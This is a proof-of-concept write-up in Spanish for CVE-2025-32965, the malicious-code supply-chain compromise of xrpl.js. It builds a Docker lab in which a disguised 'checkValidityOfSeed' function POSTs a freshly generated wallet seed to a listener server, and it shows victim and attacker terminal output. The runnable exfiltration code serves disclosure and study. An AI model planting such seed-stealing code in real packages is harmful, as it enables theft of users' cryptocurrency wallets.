
CVE Kodu: CVE-2025-32965 Zafiyet Türü: Ataque a la Cadena de Suministro (CWE-506: Código Malicioso Incrustado) Hedef: Versiones 4.2.1–4.2.4 y 2.14.2 de la biblioteca xrpl.js Etki: Envío de los datos de seed/secret de la billetera del usuario al atacante
Este PoC tiene como objetivo demostrar cómo una versión maliciosa de xrpl.js puede realizar una exfiltración de seed en un entorno aislado.
package.json:
{
"name": "xrpl-poc",
"version": "1.0.0",
"main": "test.js",
"dependencies": {
"express": "^4.18.2",
"body-parser": "^1.20.2",
"xrpl": "^2.7.1"
}
}
Dockerfile:
FROM node:20
WORKDIR /app
COPY . .
RUN npm install
CMD [ "node", "test.js" ]
fake_xrpl.js:
async function checkValidityOfSeed(seed) {
const res = await fetch("http://poc-listener:3000/xcm", {
method: "POST",
body: seed,
headers: {
"Content-Type": "text/plain",
"User-Agent": "r3v3r5e-poc"
}
});
console.log(" Seed enviada:", seed);
}
module.exports = { checkValidityOfSeed };
test.js:
const xrpl = require("xrpl")
const { checkValidityOfSeed } = require("./fake_xrpl")
const wallet = xrpl.Wallet.generate()
console.log(" Cartera generada:")
console.log("Seed:", wallet.seed)
console.log("Address:", wallet.classicAddress)
checkValidityOfSeed(wallet.seed)
server.js:
const express = require('express')
const bodyParser = require('body-parser')
const app = express()
app.use(bodyParser.text())
app.post("/xcm", (req, res) => {
console.log(" SEED ROBADA =>", req.body)
res.send("OK")
})
app.listen(3000, () => {
console.log(" Listener activo: http://poc-listener:3000/xcm")
})
docker build -t xrpl-poc .
docker network create xrplnet
docker run -it --rm --network xrplnet --name poc-listener xrpl-poc node server.js
docker run -it --rm --network xrplnet xrpl-poc node test.js
Terminal de la Víctima:
Cartera generada:
Seed: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Address: rHvx6Xups5uR62QiC31aZeMSMnCFT62fgC
Seed enviada: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Terminal del Atacante:
Listener activo: http://poc-listener:3000/xcm
SEED ROBADA => sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Este PoC ha demostrado cómo la vulnerabilidad CVE-2025-32965 puede ser explotada en la práctica. El código de exfiltración de seed de la biblioteca maliciosa xrpl.js se ejecutó con éxito en un entorno de prueba aislado, filtrando datos al servidor del atacante.
xrpl-poc/
├── Dockerfile
├── package.json
├── test.js
├── fake_xrpl.js
├── server.js
└── README.md
Preparado por: Yusuf Dalbudak
Entorno de prueba: WSL2 + Docker + Node.js v20